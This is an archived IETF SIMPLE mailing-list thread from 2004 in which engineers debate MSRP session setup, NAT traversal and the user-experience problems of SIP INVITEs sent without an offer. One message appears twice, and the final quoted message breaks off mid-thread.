X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 15:03:03 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit


It's an intersecting general problem. SIP was defined for multi media yet
may people build systems that assumed it was all voice, or assumed it was
all IM. It's going to cause some grief.



On 3/3/04 4:49 PM, "Adam Roach" <adam@dynamicsoft.com> wrote:

> That's all great. Now tell me how it works using
> the Cisco 7960 sitting on my desk right now. Assume
> that upgrading the software is not an option.
> 
> /a
> 
>> -----Original Message-----
>> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>> Sent: Tuesday, March 02, 2004 20:09
>> To: Adam Roach
>> Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
>> simple@ietf.org
>> Subject: Re: [Simple] RE: MSRP & Comedia
>> 
>> 
>> There are a couple of solutions to the bad user experience
>> you outline:
>> 
>> - the UAC can use callerprefs to indicate what media it desires.
>>    For this to work the UAS would have to evaluate the callerprefs,
>>    which isn't currently required or expected.
>> 
>> - preconditions could be used to ensure that there is a satisfactory
>>    agreement on media before alerting. In this particular
>> case it would
>>    be the UAS that inserts the preconditions as a way of improving the
>>    user experience at its end. Most any precondition would do, though
>>    the newly proposed connectivity precondition would be quite
>>    appropriate. A hypothetical new precondition relating to
>> negotiation
>>    of some acceptable (set of) media stream(s) might also be
>> interesting.
>> 
>> Paul
>> 
>> Adam Roach wrote:
>>> Okay, so, the user experience you're promoting
>>> here would lead to a situation in which you open
>>> up your IM client, type in a message for me,
>>> and my desktop hard phone starts ringing. Several
>>> seconds later, I pick up the receiver, my hardphone
>>> sends a "200 OK" response, and... well, nothing
>>> good can come of any result at this point.
>>> 
>>> If your client supports audio, my voice is suddenly
>>> coming out of your PC speakers. If not, the call
>>> is torn down, your client renders an error to you,
>>> sends me a bye, and I'm sitting there holding a dead
>>> handset.
>>> 
>>> This is the problem that I've pointed out occasionally
>>> for several years: this "send an INVITE with no body"
>>> approach for setting up sessions causes all kinds
>>> of problems. It was originally added for interwork
>>> with the prehistoric H.323v1 procedures, and not killed
>>> because we observed that it can be used in this clever
>>> 3pcc hack -- but it invariably leads to a message that
>>> semantically means the same thing as the dialog
>>> box that I sent earlier.
>>> 
>>> /a
>>> 
>>> 
>>>> -----Original Message-----
>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>> Sent: Monday, March 01, 2004 8:38
>>>> To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>>> Cc: simple@ietf.org
>>>> Subject: Re: [Simple] RE: MSRP & Comedia
>>>> 
>>>> 
>>>> 
>>>> It just sends an offer with all three and then the other ends
>>>> selects. This
>>>> is how SIP is today - you can send an invite with no offer
>>>> then get the
>>>> offer in the response and put the answer in the ack.
>>>> 
>>>> On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>>> 
>>>> 
>>>>> From a protocol perspective, this sounds reasonable.
>>>>> 
>>>>> I think the key problem is that the first example shifts the
>>>>> decision of what type of communication is requested
>>>>> from the caller to the callee. Without getting into a discussion
>>>>> of whether that is the "right" thing to do, it certainly is
>>>>> going to differ from user expectations.
>>>>> 
>>>>> +----------------------------------------------+
>>>>> | Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>>> | to start a conversation, but I have no idea  |
>>>>> | what kind. Take your best guess:             |
>>>>> |                                              |
>>>>> |    +-------+  +-----------------+  +----+    |
>>>>> |    | Voice |  | Voice and video |  | IM |    |
>>>>> |    +-------+  +-----------------+  +----+    |
>>>>> +----------------------------------------------+
>>>>> 
>>>>> /a
>>>>> 
>>>>> 
>>>>>> -----Original Message-----
>>>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>> Sent: Friday, February 27, 2004 0:50
>>>>>> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>>> Cc: simple@ietf.org
>>>>>> Subject: MSRP & Comedia
>>>>>> 
>>>>>> 
>>>>>> 
>>>>>> This is a half baked idea that I am just tossing out as food
>>>>>> for thought
>>>>>> 
>>>>>> Consider a systems where something like the UA that sends the
>>>>>> answer sends
>>>>>> the VISIT. 
>>>>>> 
>>>>>> Consider the cases where A want to set up a MSRP session with B.
>>>>>> 
>>>>>> A is behind a NAT and does not want to use a relay. A sends
>>>>>> an INVITE with
>>>>>> no offer. B sends an offer, gets back an answer and A
>>>>> 
>>>> sends the VISIT.
>>>> 
>>>>>> A -> inv    -> B
>>>>>> A <- offer  <- B
>>>>>> A -> answer -> B
>>>>>> A -> visit  -> B
>>>>>> 
>>>>>> B is behind a NAT. A sends an offer and B sends an answer and
>>>>>> A sends VISIT.
>>>>>> A -> offer  -> B
>>>>>> A <- answer <- B
>>>>>> A <- visit  <- B
>>>>>> 
>>>>>> A and B are behind NATS. A sends INVITE no offer, B knows
>>>>>> relay is needed
>>>>>> and gets one and sends offer.
>>>>>> 
>>>>>> The underlying principal is basically if you don't know what
>>>>>> port you are
>>>>>> going to receive media at (which is the case with a NAT) you
>>>>>> should not be
>>>>>> making any offers and if you make an offer the assumption is
>>>>>> that the other
>>>>>> side and send media (a VISIT) to that and have it work.
>>>>>> 
>>>>>> The fundamental thing I am trying to avoid is two vendors
>>>>>> both saying they
>>>>>> have MSRP compliant systems yet still having them fail to be
>>>>>> able to talk to
>>>>>> each other because they both expect the other one to host.
>>>>>> 
>>>>> 
>>>>> _______________________________________________
>>>>> Simple mailing list
>>>>> Simple@ietf.org
>>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>>> 
>>>> 
>>>> 
>>>> _______________________________________________
>>>> Simple mailing list
>>>> Simple@ietf.org
>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>> 
>>> 
>>> 
>>> _______________________________________________
>>> Simple mailing list
>>> Simple@ietf.org
>>> https://www1.ietf.org/mailman/listinfo/simple
>>> 
>> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar  4 01:12:05 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA03633
	for <simple-archive@odin.ietf.org>; Thu, 4 Mar 2004 01:12:05 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aym53-0001t0-By
	for simple-archive@odin.ietf.org; Thu, 04 Mar 2004 01:11:37 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i246Bb66007244
	for simple-archive@odin.ietf.org; Thu, 4 Mar 2004 01:11:37 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aym53-0001sk-6H
	for simple-web-archive@optimus.ietf.org; Thu, 04 Mar 2004 01:11:37 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA03605
	for <simple-web-archive@ietf.org>; Thu, 4 Mar 2004 01:11:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aym50-00011p-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 01:11:34 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Aym3v-0000mp-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 01:10:28 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aym30-0000Zw-00; Thu, 04 Mar 2004 01:09:30 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aym1Z-0000R8-VM; Thu, 04 Mar 2004 01:08:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aym0d-00006B-Ge
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 01:07:03 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA03045
	for <simple@ietf.org>; Thu, 4 Mar 2004 01:07:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aym0a-0007f1-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:07:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Aylz0-0007Fz-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:05:24 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aylx3-0006Rt-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:03:21 -0500
Received: from sj-core-2.cisco.com (171.71.177.254)
  by sj-iport-2.cisco.com with ESMTP; 03 Mar 2004 22:14:54 +0000
Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i24634Y6029222;
	Wed, 3 Mar 2004 22:03:05 -0800 (PST)
Received: from [218.37.230.63] (tokyo-vpn-user90.cisco.com [10.70.82.90])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AMX18434;
	Wed, 3 Mar 2004 22:03:03 -0800 (PST)
User-Agent: Microsoft-Entourage/10.1.4.030702.0
Subject: Re: [Simple] RE: MSRP & Comedia
From: Cullen Jennings <fluffy@cisco.com>
To: Adam Roach <adam@dynamicsoft.com>, Paul H Kyzivat <pkyzivat@cisco.com>
CC: Ben Campbell <bcampbell@dynamicsoft.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>,
        <simple@ietf.org>
Message-ID: <BC6CF5A7.341B6%fluffy@cisco.com>
In-Reply-To: <9ACE0CEE075B494096C86C23878BF85906A35E@dyn-tx-exch-001.dynamicsoft.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 15:03:03 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit


It's an intersecting general problem. SIP was defined for multi media yet
may people build systems that assumed it was all voice, or assumed it was
all IM. It's going to cause some grief.



On 3/3/04 4:49 PM, "Adam Roach" <adam@dynamicsoft.com> wrote:

> That's all great. Now tell me how it works using
> the Cisco 7960 sitting on my desk right now. Assume
> that upgrading the software is not an option.
> 
> /a
> 
>> -----Original Message-----
>> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>> Sent: Tuesday, March 02, 2004 20:09
>> To: Adam Roach
>> Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
>> simple@ietf.org
>> Subject: Re: [Simple] RE: MSRP & Comedia
>> 
>> 
>> There are a couple of solutions to the bad user experience
>> you outline:
>> 
>> - the UAC can use callerprefs to indicate what media it desires.
>>    For this to work the UAS would have to evaluate the callerprefs,
>>    which isn't currently required or expected.
>> 
>> - preconditions could be used to ensure that there is a satisfactory
>>    agreement on media before alerting. In this particular
>> case it would
>>    be the UAS that inserts the preconditions as a way of improving the
>>    user experience at its end. Most any precondition would do, though
>>    the newly proposed connectivity precondition would be quite
>>    appropriate. A hypothetical new precondition relating to
>> negotiation
>>    of some acceptable (set of) media stream(s) might also be
>> interesting.
>> 
>> Paul
>> 
>> Adam Roach wrote:
>>> Okay, so, the user experience you're promoting
>>> here would lead to a situation in which you open
>>> up your IM client, type in a message for me,
>>> and my desktop hard phone starts ringing. Several
>>> seconds later, I pick up the receiver, my hardphone
>>> sends a "200 OK" response, and... well, nothing
>>> good can come of any result at this point.
>>> 
>>> If your client supports audio, my voice is suddenly
>>> coming out of your PC speakers. If not, the call
>>> is torn down, your client renders an error to you,
>>> sends me a bye, and I'm sitting there holding a dead
>>> handset.
>>> 
>>> This is the problem that I've pointed out occasionally
>>> for several years: this "send an INVITE with no body"
>>> approach for setting up sessions causes all kinds
>>> of problems. It was originally added for interwork
>>> with the prehistoric H.323v1 procedures, and not killed
>>> because we observed that it can be used in this clever
>>> 3pcc hack -- but it invariably leads to a message that
>>> semantically means the same thing as the dialog
>>> box that I sent earlier.
>>> 
>>> /a
>>> 
>>> 
>>>> -----Original Message-----
>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>> Sent: Monday, March 01, 2004 8:38
>>>> To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>>> Cc: simple@ietf.org
>>>> Subject: Re: [Simple] RE: MSRP & Comedia
>>>> 
>>>> 
>>>> 
>>>> It just sends an offer with all three and then the other ends
>>>> selects. This
>>>> is how SIP is today - you can send an invite with no offer
>>>> then get the
>>>> offer in the response and put the answer in the ack.
>>>> 
>>>> On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>>> 
>>>> 
>>>>> From a protocol perspective, this sounds reasonable.
>>>>> 
>>>>> I think the key problem is that the first example shifts the
>>>>> decision of what type of communication is requested
>>>>> from the caller to the callee. Without getting into a discussion
>>>>> of whether that is the "right" thing to do, it certainly is
>>>>> going to differ from user expectations.
>>>>> 
>>>>> +----------------------------------------------+
>>>>> | Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>>> | to start a conversation, but I have no idea  |
>>>>> | what kind. Take your best guess:             |
>>>>> |                                              |
>>>>> |    +-------+  +-----------------+  +----+    |
>>>>> |    | Voice |  | Voice and video |  | IM |    |
>>>>> |    +-------+  +-----------------+  +----+    |
>>>>> +----------------------------------------------+
>>>>> 
>>>>> /a
>>>>> 
>>>>> 
>>>>>> -----Original Message-----
>>>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>> Sent: Friday, February 27, 2004 0:50
>>>>>> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>>> Cc: simple@ietf.org
>>>>>> Subject: MSRP & Comedia
>>>>>> 
>>>>>> 
>>>>>> 
>>>>>> This is a half baked idea that I am just tossing out as food
>>>>>> for thought
>>>>>> 
>>>>>> Consider a systems where something like the UA that sends the
>>>>>> answer sends
>>>>>> the VISIT. 
>>>>>> 
>>>>>> Consider the cases where A want to set up a MSRP session with B.
>>>>>> 
>>>>>> A is behind a NAT and does not want to use a relay. A sends
>>>>>> an INVITE with
>>>>>> no offer. B sends an offer, gets back an answer and A
>>>>> 
>>>> sends the VISIT.
>>>> 
>>>>>> A -> inv    -> B
>>>>>> A <- offer  <- B
>>>>>> A -> answer -> B
>>>>>> A -> visit  -> B
>>>>>> 
>>>>>> B is behind a NAT. A sends an offer and B sends an answer and
>>>>>> A sends VISIT.
>>>>>> A -> offer  -> B
>>>>>> A <- answer <- B
>>>>>> A <- visit  <- B
>>>>>> 
>>>>>> A and B are behind NATS. A sends INVITE no offer, B knows
>>>>>> relay is needed
>>>>>> and gets one and sends offer.
>>>>>> 
>>>>>> The underlying principal is basically if you don't know what
>>>>>> port you are
>>>>>> going to receive media at (which is the case with a NAT) you
>>>>>> should not be
>>>>>> making any offers and if you make an offer the assumption is
>>>>>> that the other
>>>>>> side and send media (a VISIT) to that and have it work.
>>>>>> 
>>>>>> The fundamental thing I am trying to avoid is two vendors
>>>>>> both saying they
>>>>>> have MSRP compliant systems yet still having them fail to be
>>>>>> able to talk to
>>>>>> each other because they both expect the other one to host.
>>>>>> 
>>>>> 
>>>>> _______________________________________________
>>>>> Simple mailing list
>>>>> Simple@ietf.org
>>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>>> 
>>>> 
>>>> 
>>>> _______________________________________________
>>>> Simple mailing list
>>>> Simple@ietf.org
>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>> 
>>> 
>>> 
>>> _______________________________________________
>>> Simple mailing list
>>> Simple@ietf.org
>>> https://www1.ietf.org/mailman/listinfo/simple
>>> 
>> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar  4 01:53:22 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06672
	for <simple-archive@ietf.org>; Thu, 4 Mar 2004 01:53:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AymjR-0001wG-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 01:53:22 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Aymif-0001ky-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 01:52:34 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aymhs-0001Yg-00; Thu, 04 Mar 2004 01:51:44 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AymhA-0006uW-Re; Thu, 04 Mar 2004 01:51:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AymgT-0006tE-8c
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 01:50:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06497
	for <simple@ietf.org>; Thu, 4 Mar 2004 01:50:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AymgQ-0001Jw-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:50:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AymfY-000190-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:49:21 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aymem-0000hn-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:48:32 -0500
Received: from sj-core-2.cisco.com (171.71.177.254)
  by sj-iport-3.cisco.com with ESMTP; 03 Mar 2004 23:00:33 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i246lxY6024881;
	Wed, 3 Mar 2004 22:48:00 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user354.cisco.com [10.70.83.98])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGM96577;
	Thu, 4 Mar 2004 01:47:54 -0500 (EST)
Message-ID: <4046D119.6050407@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Cullen Jennings <fluffy@cisco.com>
CC: hisham.khartabil@nokia.com, Adam Roach <adam@dynamicsoft.com>,
        rohan@cisco.com, bcampbell@dynamicsoft.com, rsparks@dynamicsoft.com,
        simple@ietf.org
Subject: Re: [Simple] RE: MSRP & Comedia
References: <BC6CF596.341B4%fluffy@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 01:47:53 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

I am probably guilty of taking this thread off the subject.

I agree with what Ben said elsewhere that this issue probably isn't 
germane to the general issue of who connects for msrp.

But Cullen's point is why I was poking at this. Maybe it needs to be 
taken to another context. As things stand I believe it is highly likely 
that devices supporting different combinations of media will not 
interoperate as well as one might expect they should. It will take at 
least some common agreement re best practices, and possibly some 
additional mechanisms (like use of preconditions to negotiate compatible 
media) to achieve a wholely satisfactory user experience.

	Paul

Cullen Jennings wrote:
> I've lost what the key part of this discussion is. Should we use it here? I
> agree - much rather not. Hope to find a better way.
> 
> However, UA Servers have to deal with Invites with no offer. If we want to
> deprecate this out of 3261 - that is going to be a big deal.  If we are
> defining something that does not work with 3261 - that is going to cause
> some grief. Definitely agree we should try not to use it.
> 
> On the stuff here, I wonder about the problems with a SDP offer that
> provides no way for the other end to send media to the device making the
> offer. 
> 
> 
> Cullen
> 
> 
> On 3/3/04 10:51 PM, "hisham.khartabil@nokia.com"
> <hisham.khartabil@nokia.com> wrote:
> 
> 
>>Just for the recond, I fully support adam's views on this issue.
>>
>>/Hisham
>>
>>
>>>-----Original Message-----
>>>From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
>>>ext Adam Roach
>>>Sent: 03.March.2004 12:39
>>>To: 'Rohan Mahy'; Adam Roach
>>>Cc: 'Paul Kyzivat'; Ben Campbell; 'Cullen Jennings'; Robert Sparks;
>>>simple@ietf.org
>>>Subject: RE: [Simple] RE: MSRP & Comedia
>>>
>>>
>>>I really don't like the prospect of requiring caller
>>>prefs to avoid these kind of bizarre and unfortunate
>>>user experiences.
>>>
>>>My main point is that using empty INVITEs seems to
>>>cause more problems than it solves. Are these problems
>>>completely intractable? Probably not. Are they
>>>unpleasant? Well, I certainly think so.
>>>
>>>So, given the chance, I'd far prefer to see solutions
>>>that don't require callee offers explored before we
>>>resort to a tool that brings unpleasant consequences
>>>(or, at the very least, specific additional mechanisms
>>>added throughout the system).
>>>
>>>/a
>>>
>>>
>>>>-----Original Message-----
>>>>From: Rohan Mahy [mailto:rohan@cisco.com]
>>>>Sent: Wednesday, March 03, 2004 2:17
>>>>To: Adam Roach
>>>>Cc: 'Paul Kyzivat'; Ben Campbell; Rohan Mahy; 'Cullen
>>>>Jennings'; Robert
>>>>Sparks; simple@ietf.org
>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>
>>>>
>>>>Adam,
>>>>
>>>>You could use caller prefs even with your
>>>
>>>rusty/dusty/trusty "legacy"
>>>
>>>>SIP phone  ;-).
>>>>
>>>>You would need something to add media feature parameters to the
>>>>registration of the 7960 on its behalf.  This is not that
>>>
>>>big a deal.
>>>
>>>>thanks,
>>>>-rohan
>>>>
>>>>
>>>>On Mar 3, 2004, at 4:49 PM, Adam Roach wrote:
>>>>
>>>>
>>>>>That's all great. Now tell me how it works using
>>>>>the Cisco 7960 sitting on my desk right now. Assume
>>>>>that upgrading the software is not an option.
>>>>>
>>>>>/a
>>>>>
>>>>>
>>>>>>-----Original Message-----
>>>>>>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>>>>>Sent: Tuesday, March 02, 2004 20:09
>>>>>>To: Adam Roach
>>>>>>Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
>>>>>>simple@ietf.org
>>>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>>>
>>>>>>
>>>>>>There are a couple of solutions to the bad user experience
>>>>>>you outline:
>>>>>>
>>>>>>- the UAC can use callerprefs to indicate what media it desires.
>>>>>>   For this to work the UAS would have to evaluate the
>>>>>
>>>callerprefs,
>>>
>>>>>>   which isn't currently required or expected.
>>>>>>
>>>>>>- preconditions could be used to ensure that there is a
>>>>>
>>>>satisfactory
>>>>
>>>>>>   agreement on media before alerting. In this particular
>>>>>>case it would
>>>>>>   be the UAS that inserts the preconditions as a way of
>>>>>
>>>>improving the
>>>>
>>>>>>   user experience at its end. Most any precondition would
>>>>>
>>>>do, though
>>>>
>>>>>>   the newly proposed connectivity precondition would be quite
>>>>>>   appropriate. A hypothetical new precondition relating to
>>>>>>negotiation
>>>>>>   of some acceptable (set of) media stream(s) might also be
>>>>>>interesting.
>>>>>>
>>>>>>Paul
>>>>>>
>>>>>>Adam Roach wrote:
>>>>>>
>>>>>>>Okay, so, the user experience you're promoting
>>>>>>>here would lead to a situation in which you open
>>>>>>>up your IM client, type in a message for me,
>>>>>>>and my desktop hard phone starts ringing. Several
>>>>>>>seconds later, I pick up the receiver, my hardphone
>>>>>>>sends a "200 OK" response, and... well, nothing
>>>>>>>good can come of any result at this point.
>>>>>>>
>>>>>>>If your client supports audio, my voice is suddenly
>>>>>>>coming out of your PC speakers. If not, the call
>>>>>>>is torn down, your client renders an error to you,
>>>>>>>sends me a bye, and I'm sitting there holding a dead
>>>>>>>handset.
>>>>>>>
>>>>>>>This is the problem that I've pointed out occasionally
>>>>>>>for several years: this "send an INVITE with no body"
>>>>>>>approach for setting up sessions causes all kinds
>>>>>>>of problems. It was originally added for interwork
>>>>>>>with the prehistoric H.323v1 procedures, and not killed
>>>>>>>because we observed that it can be used in this clever
>>>>>>>3pcc hack -- but it invariably leads to a message that
>>>>>>>semantically means the same thing as the dialog
>>>>>>>box that I sent earlier.
>>>>>>>
>>>>>>>/a
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>>-----Original Message-----
>>>>>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>>>Sent: Monday, March 01, 2004 8:38
>>>>>>>>To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>>>>>>>Cc: simple@ietf.org
>>>>>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>>>>>
>>>>>>>>
>>>>>>>>
>>>>>>>>It just sends an offer with all three and then the other ends
>>>>>>>>selects. This
>>>>>>>>is how SIP is today - you can send an invite with no offer
>>>>>>>>then get the
>>>>>>>>offer in the response and put the answer in the ack.
>>>>>>>>
>>>>>>>>On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>>>>>>>
>>>>>>>>
>>>>>>>>
>>>>>>>>>From a protocol perspective, this sounds reasonable.
>>>>>>>>>
>>>>>>>>>I think the key problem is that the first example shifts the
>>>>>>>>>decision of what type of communication is requested
>>>>>>>>>from the caller to the callee. Without getting into a
>>>>>>>>
>>>discussion
>>>
>>>>>>>>>of whether that is the "right" thing to do, it certainly is
>>>>>>>>>going to differ from user expectations.
>>>>>>>>>
>>>>>>>>>+----------------------------------------------+
>>>>>>>>>| Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>>>>>>>| to start a conversation, but I have no idea  |
>>>>>>>>>| what kind. Take your best guess:             |
>>>>>>>>>|                                              |
>>>>>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>>>>>|    | Voice |  | Voice and video |  | IM |    |
>>>>>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>>>>>+----------------------------------------------+
>>>>>>>>>
>>>>>>>>>/a
>>>>>>>>>
>>>>>>>>>
>>>>>>>>>
>>>>>>>>>>-----Original Message-----
>>>>>>>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>>>>>Sent: Friday, February 27, 2004 0:50
>>>>>>>>>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>>>>>>>Cc: simple@ietf.org
>>>>>>>>>>Subject: MSRP & Comedia
>>>>>>>>>>
>>>>>>>>>>
>>>>>>>>>>
